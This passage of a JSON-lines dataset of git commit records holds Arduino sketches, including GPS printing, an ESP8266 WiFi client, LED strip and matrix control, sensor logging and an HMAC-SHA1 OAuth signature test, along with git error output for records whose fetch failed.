(GPS.minute < 10) { Serial.print('0'); }\n Serial.print(GPS.minute, DEC); Serial.print(':');\n if (GPS.seconds < 10) { Serial.print('0'); }\n Serial.print(GPS.seconds, DEC); Serial.print('.');\n if (GPS.milliseconds < 10) {\n Serial.print(\"00\");\n } else if (GPS.milliseconds > 9 && GPS.milliseconds < 100) {\n Serial.print(\"0\");\n }\n Serial.println(GPS.milliseconds);\n Serial.print(\"Date: \");\n Serial.print(GPS.day, DEC); Serial.print('\/');\n Serial.print(GPS.month, DEC); Serial.print(\"\/20\");\n Serial.println(GPS.year, DEC);\n Serial.print(\"Fix: \"); Serial.print((int)GPS.fix);\n Serial.print(\" quality: \"); Serial.println((int)GPS.fixquality);\n if (GPS.fix) {\n Serial.print(\"Location: \");\n Serial.print(GPS.latitude, 4); Serial.print(GPS.lat);\n Serial.print(\", \");\n Serial.print(GPS.longitude, 4); Serial.println(GPS.lon);\n Serial.print(\"Speed (knots): \"); Serial.println(GPS.speed);\n Serial.print(\"Angle: \"); Serial.println(GPS.angle);\n Serial.print(\"Altitude: \"); Serial.println(GPS.altitude);\n Serial.print(\"Satellites: \"); Serial.println((int)GPS.satellites);\n }\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/GPS_I2C_Parsing\/GPS_I2C_Parsing.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"94332644dde4c3b99960e9f4d614db2165b48a6c","subject":"Initial arduino code","message":"Initial arduino code\n","repos":"Fxhnd\/PeaceLily,Fxhnd\/PeaceLily","old_file":"arduino\/plant_streamer.ino","new_file":"arduino\/plant_streamer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Fxhnd\/PeaceLily.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fdf2e5fab47c8ae5a9decb2a200b8f82885b8c50","subject":"Reading the encoder works","message":"Reading the encoder works\n","repos":"joeLoughboro\/Harold","old_file":"VexEncoder\/VexEncoder.ino","new_file":"VexEncoder\/VexEncoder.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/joeLoughboro\/Harold.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"562efe605a4b8c4949e800e7ce6563b3f26c4a33","subject":"WiFiClient initial commit","message":"WiFiClient initial commit\n","repos":"jlebunetel\/ESP8266-fun,jlebunetel\/ESP8266-fun","old_file":"WiFiClient\/WiFiClient.ino","new_file":"WiFiClient\/WiFiClient.ino","new_contents":"\/*\nse connecte \u00e0 l'api \"api.laboite.cc\" afin de r\u00e9cup\u00e9rer le json et l'envoie sur la liaison s\u00e9rie\n *\/\n\n#include <ESP8266WiFi.h>\n\nconst char* ssid = \"ssid\";\nconst char* password = \"password\";\n\nconst char* host = \"api.laboite.cc\";\nconst char* apikey = \"apikey\";\n\n\/\/ drapeau indiquant pendant l'analyse de la r\u00e9ponse du serveur\n\/\/ si on est dans l'en-t\u00eate HTTP (false) ou dans le contenu de \n\/\/ la ressource.\nbool inBody = false;\n\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n \/\/ We start by connecting to a WiFi network\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nvoid loop() {\n delay(5000);\n\n Serial.print(\"connecting to \");\n Serial.println(host);\n \n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n const int httpPort = 80;\n if (!client.connect(host, httpPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n \n \/\/ We now create a URI for the request\n String url = \"\/\";\n url += apikey;\n url += \".json\";\n\n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n \/\/ This will send the request to the server\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n unsigned long timeout = millis();\n while (client.available() == 0) {\n if (millis() - timeout > 5000) {\n Serial.println(\">>> Client Timeout !\");\n client.stop();\n return;\n }\n }\n\n inBody = false; \/\/ on est dans l'en-t\u00eate\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n if (inBody) { \/\/ ligne du corps du message, on cherche le mot cl\u00e9\n Serial.print(line);\n }\n if (line.length() == 1) inBody = true; \/\/ passer l'en-t\u00eate jusqu'\u00e0 une ligne vide\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WiFiClient\/WiFiClient.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3f0e4426b141ba0c44d3fb1d228e01aa0f38bc32","subject":"more fixes, unstable","message":"more fixes, unstable\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot.ino","new_file":"motor_robot.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1c030cb83b7af8700b50c64f8fbfb9614101539b","subject":"Attempting to convert to photon","message":"Attempting to convert to photon\n","repos":"tmecklem\/ted-recorder","old_file":"photon\/energon.ino","new_file":"photon\/energon.ino","new_contents":"#define MESSAGE_LENGTH 11\n#define CHECKSUM_LENGTH 9\n#define MESSAGE_START_BYTE 0xaa\n\nbyte message[MESSAGE_LENGTH];\nint messagePos;\n\nvoid resetMessagePtr();\nbool isMessageDone();\nvoid readMessage();\nvoid printMessageBytes();\nbool messageStarted;\n\nvoid setup() {\n Serial.begin(1200);\n Serial1.begin(1200);\n resetMessagePtr();\n}\n\nvoid loop() {\n readMessage();\n}\n\nvoid readMessage() {\n messageStarted = FALSE;\n while(messageStarted == FALSE) {\n if (Serial1.available()) {\n if (Serial1.peek() == MESSAGE_START_BYTE) {\n messageStarted = TRUE;\n } else {\n Serial1.read();\n }\n }\n }\n while(!isMessageDone()) {\n if (Serial1.available()) {\n message[messagePos] = ~(Serial1.read());\n messagePos++;\n }\n }\n resetMessagePtr();\n printMessageBytes(message);\n}\n\nbool verifyMessage(byte *message) {\n byte sum = 0;\n for(int i = 0 ; i < CHECKSUM_LENGTH ; i++ ) {\n sum += message[i];\n }\n sum += message[MESSAGE_LENGTH-1];\n if(sum != 0) {\n Serial.printf(\" NOT OK: %02X should have been 0x00\", sum);\n }\n return sum == 0;\n}\n\nvoid printMessageBytes(byte *message) {\n for(int i = 0 ; i < MESSAGE_LENGTH ; i++) {\n Serial.printf(\"%02X\", message[i]);\n }\n if(verifyMessage(message)) {\n Serial.write(\" OK\");\n }\n Serial.println();\n}\n\nvoid resetMessagePtr() {\n messagePos = 0;\n}\n\nbool isMessageDone() {\n return messagePos == 11;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'photon\/energon.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"23ac9a877b62971d7aefe0c7cf4021735d43ee47","subject":"Altera\u00e7\u00e3o no arduino - Arquivo unico","message":"Altera\u00e7\u00e3o no arduino - Arquivo unico\n\nAlterando a logica , foi testado!\n","repos":"Gsirius14\/sirius,Gsirius14\/sirius","old_file":"arduino\/arquivo_unico\/arquivo_unico.ino","new_file":"arduino\/arquivo_unico\/arquivo_unico.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Gsirius14\/sirius.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5320f7a60516cc437af6cb27e49d422ef7368690","subject":"Added arduino via serial control code","message":"Added arduino via serial control code\n","repos":"Spooner\/pixel-table,Spooner\/pixel-table,Spooner\/pixel-table","old_file":"arduino\/led_matrix\/led_matrix.ino","new_file":"arduino\/led_matrix\/led_matrix.ino","new_contents":"\n#include <FastLED.h>\n\n#define NUM_LEDS 16\n#define PIN 6\n#define BRIGHTNESS 64\n\n\nCRGB leds[NUM_LEDS]; \nint r, g, b, i;\n\nvoid setup() {\n FastLED.addLeds<WS2812B, PIN>(leds, NUM_LEDS);\/\/.setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n Serial.begin(115200);\n FastLED.show();\n}\n\nvoid loop() {\n for (i = 0; i < NUM_LEDS; ++i) {\n while (Serial.available() < 3);\n\n r = Serial.read();\n g = Serial.read();\n b = Serial.read();\n leds[i] = CRGB(r, g, b);\n Serial.print(r, HEX);\n Serial.print(g, HEX);\n Serial.print(b, HEX);\n Serial.print(\" \");\n }\n FastLED.show();\n Serial.println(\"END\");\n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/led_matrix\/led_matrix.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cb494deb1c0809515770dbe8687ebda746adc4ec","subject":"Update PC_v099b0325.ino","message":"Update PC_v099b0325.ino","repos":"Lafudoci\/ProbeCube","old_file":"Particle Photon based\/code\/PC_v099b0325.ino","new_file":"Particle Photon based\/code\/PC_v099b0325.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Particle' did not match any file(s) known to git\nerror: pathspec 'Photon' did not match any file(s) known to git\nerror: pathspec 'based\/code\/PC_v099b0325.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cdc82b29c6862c4b72f34f46493a8b643cea54ba","subject":"Add new project: SensingOfRiceFields","message":"Add new project: SensingOfRiceFields\n","repos":"LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS","old_file":"SensingOfRiceFields\/SensingOfRiceFields.ino","new_file":"SensingOfRiceFields\/SensingOfRiceFields.ino","new_contents":"#include <SoftwareSerial.h>\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <Wire.h> \n#include <LiquidCrystal_I2C.h>\n#include <Stepper.h>\n\n#define DELAY 60000\n\n#define WATER_WIRE_BUS 2\n#define SOIL_WIRE_BUS 3\n\n#define ETAPE_PIN A0\n#define ETAPE_NUMSAMPLES 15\n#define ETAPE_SERIESRESISTOR 560\n#define ETAPE_FUDGE 0.3\nint samples[ETAPE_NUMSAMPLES];\n\nOneWire waterWire(WATER_WIRE_BUS);\nOneWire soilWire(SOIL_WIRE_BUS);\n\nDallasTemperature water_temp(&waterWire);\nDallasTemperature soil_temp(&soilWire);\n\nfloat etape_liquid_level = 0;\n\nfloat water_temperature = 0;\n\nfloat soil_temperature = 0;\n\nfloat waterlevel;\n\nLiquidCrystal_I2C lcd(0x27, 16, 2);\n\nSoftwareSerial mySerial(4, 5); \/\/ UNO (RX, TX)\n\nvoid read_water_temp() {\n water_temp.requestTemperatures();\n water_temperature = water_temp.getTempCByIndex(0);\n\n if(water_temperature == -127) {\n water_temperature = 0;\n }\n\n Serial.print(\"Water Temperature: \");\n Serial.print(water_temperature);\n Serial.println(\" *C \");\n}\n\nvoid read_soil_temp() {\n soil_temp.requestTemperatures();\n soil_temperature = soil_temp.getTempCByIndex(0);\n \n if(soil_temperature == -127) {\n soil_temperature = 0;\n }\n \n Serial.print(\"Soil Temperature: \");\n Serial.print(soil_temperature);\n Serial.println(\" *C \");\n}\n\nvoid read_etape() {\n uint8_t i;\n float average;\n float lastwaterlevel=0;\n \/\/ take N samples in a row, with a slight delay\n for (i=0; i< ETAPE_NUMSAMPLES; i++) {\n samples[i] = analogRead(ETAPE_PIN);\n delay(10);\n }\n \/\/ average all the samples out\n average = 0;\n for (i=0; i< ETAPE_NUMSAMPLES; i++) {\n average += samples[i];\n }\n average \/= ETAPE_NUMSAMPLES;\n \/\/Serial.print(\"Average analog reading \");\n \/\/Serial.println(average);\n \/\/ convert the value to resistance\n average = 1023 \/ average - 1;\n average = ETAPE_SERIESRESISTOR \/ average;\n \/\/Serial.print(\"Sensor resistance \");\n \/\/Serial.println(average);\n waterlevel = 0;\n waterlevel= -1 * 0.006958 * average + 11.506958 + ETAPE_FUDGE;\n etape_liquid_level = waterlevel;\n\n if(waterlevel < 0) {\n waterlevel = 0;\n }\n \n Serial.print(\"Water level (inches) \");\n Serial.print(waterlevel);\n Serial.print(\", (cm) \");\n Serial.println(waterlevel * 2.54);\n}\n\nvoid setup() {\n Serial.begin(9600);\n mySerial.begin(9600);\n water_temp.begin();\n soil_temp.begin();\n \n lcd.begin();\n lcd.backlight();\n}\n\nvoid loop() {\n read_etape();\n read_water_temp();\n read_soil_temp();\n\n mySerial.print(water_temperature);\n mySerial.print(\",\");\n mySerial.print(soil_temperature);\n mySerial.print(\",\");\n mySerial.println(waterlevel * 2.54);\n \n lcd.clear();\n lcd.print(water_temperature);\n lcd.print(\" C ,\");\n lcd.print(soil_temperature);\n lcd.print(\" C ,\");\n lcd.setCursor(0, 1);\n lcd.print(waterlevel * 2.54); \n lcd.print(\" cm, \");\n \n delay(DELAY);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SensingOfRiceFields\/SensingOfRiceFields.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"68311c2908009f56fb1dfc24f16e5d36de996cb3","subject":"Virtualwire to software serial","message":"Virtualwire to software serial\n","repos":"theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar","old_file":"attiny85\/receiver\/receiver.ino","new_file":"attiny85\/receiver\/receiver.ino","new_contents":"\n#include <util\/delay.h>\n#include <avr\/wdt.h>\n#include <avr\/sleep.h> \/\/ Sleep Modes\n#include <avr\/power.h> \/\/ Power management\n#include <VirtualWire.h>\n#include <SoftwareSerial.h>\n\n#define SERIAL_TX_PIN 3\n#define SERIAL_RX_PIN 4\n#define VW_RX_PIN 2\n\nSoftwareSerial mySerial(SERIAL_RX_PIN, SERIAL_TX_PIN); \/\/ RX, TX\n\nvoid setup()\n{\n\n pinMode(0, OUTPUT); \n\n \/\/ set the data rate for the SoftwareSerial port\n mySerial.begin(9600);\n mySerial.println(\"Setup\");\n\n vw_set_rx_pin(VW_RX_PIN);\n vw_setup(2000);\t \/\/ Bits per sec\n vw_rx_start(); \/\/ Start the receiver running\n}\n\nvoid loop()\n{\n uint8_t buf[VW_MAX_MESSAGE_LEN];\n uint8_t buflen = VW_MAX_MESSAGE_LEN;\n \n digitalWrite(0, true);\n \n if (vw_get_message(buf, &buflen)) \/\/ Non-blocking\n {\n\tint i;\n for (i = 0; i < buflen; i++)\n {\n \/\/Serial.print(char(buf[i]));\n mySerial.write(char(buf[i]));\n }\n mySerial.write('\\n'); \n }\n\n digitalWrite(0, false);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'attiny85\/receiver\/receiver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"464f07007e20b4f4e66a2377e5b9f799646a328e","subject":"Deleted to link with Energia Folder","message":"Deleted to link with Energia Folder\n","repos":"haydenridd\/LEDProject","old_file":"ITG3701 Example Code.ino","new_file":"ITG3701 Example Code.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'ITG3701' did not match any file(s) known to git\nerror: pathspec 'Example' did not match any file(s) known to git\nerror: pathspec 'Code.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"84e63a86ea6ecd960c3b495f0ec10086eb7427ab","subject":"Arduino demo updated","message":"Arduino demo updated\n","repos":"balmli\/arduinodemo","old_file":"ardemo\/ardemo.ino","new_file":"ardemo\/ardemo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/balmli\/arduinodemo.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"f117144aa748f8e0322e3adbfcfadafaa4638093","subject":"Added motion functions and todo","message":"Added motion functions and todo\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"87bf2617db30a56f549fff440a6f064798753c35","subject":"hmac_sha1 test","message":"hmac_sha1 test\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_56-gopro-control\/a-4-hmac-sha1\/a-4-hmac-sha1.ino","new_file":"_56-gopro-control\/a-4-hmac-sha1\/a-4-hmac-sha1.ino","new_contents":"\/\/ https:\/\/dev.twitter.com\/oauth\/overview\/creating-signatures\n\/*\n oauth_consumer_key : xvz1evFS4wEEPTGEFPHBog\n oauth_token : 370773112-GmHxMAgYyLbNEtIKZeRNFsMKPR9EyMZeS9weJAEb\n Consumer secret : kAcSOqF21Fu85e7zjz7ZN2U4ZRhfV3WpwPAoE3Z7kBw\n OAuth token secret : LswwdoUaIvS8ltyTt5jkRh4J50vUPVVHtR2YPi5kE\n\n https:\/\/api.twitter.com\/1\/statuses\/update.json.\n\n POST \/1\/statuses\/update.json?include_entities=true HTTP\/1.1\n Connection: close\n User-Agent: OAuth gem v0.4.4\n Content-Type: application\/x-www-form-urlencoded\n Content-Length: 76\n Host: api.twitter.com\n\n OAuth signature tnnArxj06cWHq44gCs1OSKk\/jLY=\n*\/\n\n#include <base64.h>\n#define SHA1_SIZE 20\n\nextern \"C\" {\n \/\/ https:\/\/github.com\/mharizanov\/tweeting_silicon\/blob\/master\/include\/ssl_crypto.h\n typedef struct\n {\n uint32_t Intermediate_Hash[SHA1_SIZE \/ 4]; \/* Message Digest *\/\n uint32_t Length_Low; \/* Message length in bits *\/\n uint32_t Length_High; \/* Message length in bits *\/\n uint16_t Message_Block_Index; \/* Index into message block array *\/\n uint8_t Message_Block[64]; \/* 512-bit message blocks *\/\n } SHA1_CTX;\n\n void SHA1_Init(SHA1_CTX *);\n void SHA1_Update(SHA1_CTX *, const uint8_t * msg, int len);\n void SHA1_Final(uint8_t *digest, SHA1_CTX *);\n}\n\n\/\/ https:\/\/github.com\/igrr\/axtls-8266\/blob\/master\/crypto\/hmac.c\nvoid ssl_hmac_sha1(const uint8_t *msg, int length, const uint8_t *key, int key_len, uint8_t *digest)\n{\n SHA1_CTX context;\n uint8_t k_ipad[64];\n uint8_t k_opad[64];\n int i;\n\n memset(k_ipad, 0, sizeof k_ipad);\n memset(k_opad, 0, sizeof k_opad);\n memcpy(k_ipad, key, key_len);\n memcpy(k_opad, key, key_len);\n\n for (i = 0; i < 64; i++)\n {\n k_ipad[i] ^= 0x36;\n k_opad[i] ^= 0x5c;\n }\n\n SHA1_Init(&context);\n SHA1_Update(&context, k_ipad, 64);\n SHA1_Update(&context, msg, length);\n SHA1_Final(digest, &context);\n SHA1_Init(&context);\n SHA1_Update(&context, k_opad, 64);\n SHA1_Update(&context, digest, SHA1_SIZE);\n SHA1_Final(digest, &context);\n}\n\n\/*\n \/\/const char* http_method = \"POST\";\n \/\/const char* base_url = \"https:\/\/api.twitter.com\/1\/statuses\/update.json\";\n\n const char* para_status_vlaue = \"Hello Ladies + Gentlemen, a signed OAuth request!\";\n const char* para_query_key = \"include_entities\";\n const char* para_query_value = \"true\";\n const char* para_oauth_consumer_key = \"xvz1evFS4wEEPTGEFPHBog\";\n const char* para_oauth_nonce = \"kYjzVBB8Y0ZFabxSWbWovY3uYSQ2pTgmZeNu2VS4cg\";\n const char* para_oauth_signature_method = \"HMAC-SHA1\";\n const char* para_oauth_timestamp = \"1318622958\";\n const char* para_oauth_oauth_token = \"370773112-GmHxMAgYyLbNEtIKZeRNFsMKPR9EyMZeS9weJAEb\";\n const char* para_oauth_version = \"1.0\";\n\n const char* Consumer_secret = \"kAcSOqF21Fu85e7zjz7ZN2U4ZRhfV3WpwPAoE3Z7kBw\";\n const char* Token_secret = \"LswwdoUaIvS8ltyTt5jkRh4J50vUPVVHtR2YPi5kE\";\n*\/\n\nString base_string = \"POST&https%3A%2F%2Fapi.twitter.com%2F1%2Fstatuses%2Fupdate.json&include_entities%3Dtrue%26oauth_consumer_key%3Dxvz1evFS4wEEPTGEFPHBog%26oauth_nonce%3DkYjzVBB8Y0ZFabxSWbWovY3uYSQ2pTgmZeNu2VS4cg%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D1318622958%26oauth_token%3D370773112-GmHxMAgYyLbNEtIKZeRNFsMKPR9EyMZeS9weJAEb%26oauth_version%3D1.0%26status%3DHello%2520Ladies%2520%252B%2520Gentlemen%252C%2520a%2520signed%2520OAuth%2520request%2521\";\nString signing_key = \"kAcSOqF21Fu85e7zjz7ZN2U4ZRhfV3WpwPAoE3Z7kBw&LswwdoUaIvS8ltyTt5jkRh4J50vUPVVHtR2YPi5kE\";\n\n\/\/ --> B679C0AF18F4E9C587AB8E200ACD4E48A93F8CB6\n\/\/ --> tnnArxj06cWHq44gCs1OSKk\/jLY=\n\n\n\/\/ from http:\/\/hardwarefun.com\/tutorials\/url-encoding-in-arduino\nString URLEncode(const char* msg)\n{\n const char *hex = \"0123456789abcdef\";\n String encodedMsg = \"\";\n\n while (*msg != '\\0') {\n if ( ('a' <= *msg && *msg <= 'z')\n || ('A' <= *msg && *msg <= 'Z')\n || ('0' <= *msg && *msg <= '9') ) {\n encodedMsg += *msg;\n } else {\n encodedMsg += '%';\n encodedMsg += hex[*msg >> 4];\n encodedMsg += hex[*msg & 15];\n }\n msg++;\n }\n return encodedMsg;\n}\n\n\/\/ https:\/\/github.com\/mharizanov\/tweeting_silicon\/blob\/master\/user\/user_main.c\nvoid compute() {\n uint8_t digestkey[32];\n SHA1_CTX context;\n SHA1_Init(&context);\n SHA1_Update(&context, (uint8_t*) signing_key.c_str(), (int)signing_key.length());\n SHA1_Final(digestkey, &context);\n\n uint8_t digest[32];\n ssl_hmac_sha1((uint8_t*) base_string.c_str(), (int)base_string.length(), digestkey, SHA1_SIZE, digest);\n\n Serial.print(\"OAuth signature ssl_hmac_sha1: \");\n for (int i = 0; i < SHA1_SIZE; i++) {\n Serial.printf(\"%02X\", digest[i]);\n }\n Serial.println();\n \n Serial.println(\"OAuth signature should be : tnnArxj06cWHq44gCs1OSKk\/jLY=\");\n Serial.print(\"Result ------------------>: \");\n Serial.println(base64::encode(digest, SHA1_SIZE));\n Serial.println();\n}\n\n\n\nvoid setup() {\n Serial.begin(115200);\n while (!Serial) {\n ;\n }\n Serial.println();\n compute();\n}\n\nvoid loop() {\n\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_56-gopro-control\/a-4-hmac-sha1\/a-4-hmac-sha1.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"403c23cd07469d3ec0c3c53924fc808c646c55b3","subject":"Create yunLed.ino","message":"Create yunLed.ino","repos":"virgilvox\/skynet_yun","old_file":"yunLed.ino","new_file":"yunLed.ino","new_contents":"\/*\n* \n Modified by Moheeb Zara to include some serial stuff to run different effects based on skynet input\n\n\n\n * arduino serial-i2c-gateway, Copyright (C) 2011 michael vogt <michu@neophob.com>\n * \n * This file is part of neorainbowduino.\n *\n * neorainbowduino is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2, or (at your option)\n * any later version.\n *\n * neorainbowduino is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Iwnc., 675 Mass Ave, Cambridge, MA 02139, USA.\n * \t\n *\/\n\n#include <TimerOne.h>\n#include \"LPD6803.h\"\n\n#define PIXELS 49\n\n\/\/ Choose which 2 pins you will use for output.\n\/\/ Can be any valid output pins.\nint dataPin = 2; \/\/ 'green' wire\nint clockPin = 3; \/\/ 'blue' wire\n\/\/ Don't forget to connect 'blue' to ground and 'red' to +5V\n\nbyte kr=0;\nbyte krDirection=0;\n\n\/\/initialize strip with 20 leds\nLPD6803 strip = LPD6803(PIXELS, dataPin, clockPin);\n\nvoid setup() {\n Serial1.begin(9600);\n Serial.begin(9600);\n pinMode(13, OUTPUT);\n randomSeed(analogRead(0));\n\n strip.setCPUmax(50); \/\/ start with 50% CPU usage. up this if the strand flickers or is slow\n\n \/\/ Start up the LED counter\n strip.begin();\n\n \/\/ Update the strip, to start they are all 'off'\n strip.show();\n}\n\n \n\/\/ Create a 15 bit color value from R,G,B\nunsigned int Color(byte r, byte g, byte b) {\n \/\/Take the lowest 5 bits of each value and append them end to end\n return( ((unsigned int)r & 0x1F )<<10 | ((unsigned int)b & 0x1F)<<5 | (unsigned int)g & 0x1F);\n}\n\n\nvoid knightRider(int ces) {\n for (byte i=0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, 0);\n }\n\n if (kr<PIXELS-1) {\n if(ces == 0){\n strip.setPixelColor(kr+1, Color(10, 0, 0));\n }else if(ces == 1){\n strip.setPixelColor(kr+1, Color(0, 10, 0));\n }else if(ces == 2){\n strip.setPixelColor(kr+1, Color(0, 0, 10));\n }\n }\n \n if(ces == 0){\n strip.setPixelColor(kr, Color(31, 0, 0));\n }else if(ces == 1){\n strip.setPixelColor(kr, Color(0, 31, 0));\n }else if(ces == 2){\n strip.setPixelColor(kr, Color(0, 0, 31));\n }\n if (kr>1) {\n \n if(ces == 0){\n strip.setPixelColor(kr-1, Color(10, 0, 0));\n }else if(ces == 1){\n strip.setPixelColor(kr-1, Color(0, 10, 0));\n }else if(ces == 2){\n strip.setPixelColor(kr-1, Color(0, 0, 10));\n }\n }\n \n \/\/swap buffers asap, all 20 pixels\n strip.doSwapBuffersAsap(PIXELS);\n\n delay(30);\n\n if (krDirection==0) {\n kr++;\n } else {\n kr--;\n }\n \n if (kr>PIXELS-1) {\n krDirection = 1;\n kr = PIXELS;\n }\n \n if (kr==0) {\n krDirection = 0;\n kr = 0; \n }\n}\n\nvoid rainbow(uint8_t wait) {\n int i, j;\n \n for (j=0; j < 96 * 3; j++) { \/\/ 3 cycles of all 96 colors in the wheel\n for (i=0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel( (i + j) % 96));\n } \n strip.show(); \/\/ write all the pixels out\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this one makes the rainbow wheel equally distributed \n\/\/ along the chain\nvoid rainbowCycle(uint8_t wait) {\n int i, j;\n \n for (j=0; j < 96 * 5; j++) { \/\/ 5 cycles of all 96 colors in the wheel\n for (i=0; i < strip.numPixels(); i++) {\n \/\/ tricky math! we use each pixel as a fraction of the full 96-color wheel\n \/\/ (thats the i \/ strip.numPixels() part)\n \/\/ Then add in j which makes the colors go around per pixel\n \/\/ the % 96 is to make the wheel cycle around\n strip.setPixelColor(i, Wheel( ((i * 96 \/ strip.numPixels()) + j) % 96) );\n } \n strip.show(); \/\/ write all the pixels out\n delay(wait);\n }\n}\n\n\/\/ fill the dots one after the other with said color\n\/\/ good for testing purposes\nvoid colorWipe(uint16_t c, uint8_t wait) {\n int i;\n \n for (i=0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\n\/* Helper functions *\/\n\n\/\/ Create a 15 bit color value from R,G,B\n\n\/\/Input a value 0 to 127 to get a color value.\n\/\/The colours are a transition r - g -b - back to r\nunsigned int Wheel(byte WheelPos)\n{\n byte r,g,b;\n switch(WheelPos >> 5)\n {\n case 0:\n r=31- WheelPos % 32; \/\/Red down\n g=WheelPos % 32; \/\/ Green up\n b=0; \/\/blue off\n break; \n case 1:\n g=31- WheelPos % 32; \/\/green down\n b=WheelPos % 32; \/\/blue up\n r=0; \/\/red off\n break; \n case 2:\n b=31- WheelPos % 32; \/\/blue down \n r=WheelPos % 32; \/\/red up\n g=0; \/\/green off\n break; \n }\n return(Color(r,g,b));\n}\n\n\nint ind;\nvoid loop() {\n while (Serial1.available()) {\n ind = Serial1.read();\n Serial.println(ind);\n \n }\n \n if(ind == 48){\n colorWipe(Color(63, 0, 0), 50);\n }else if(ind 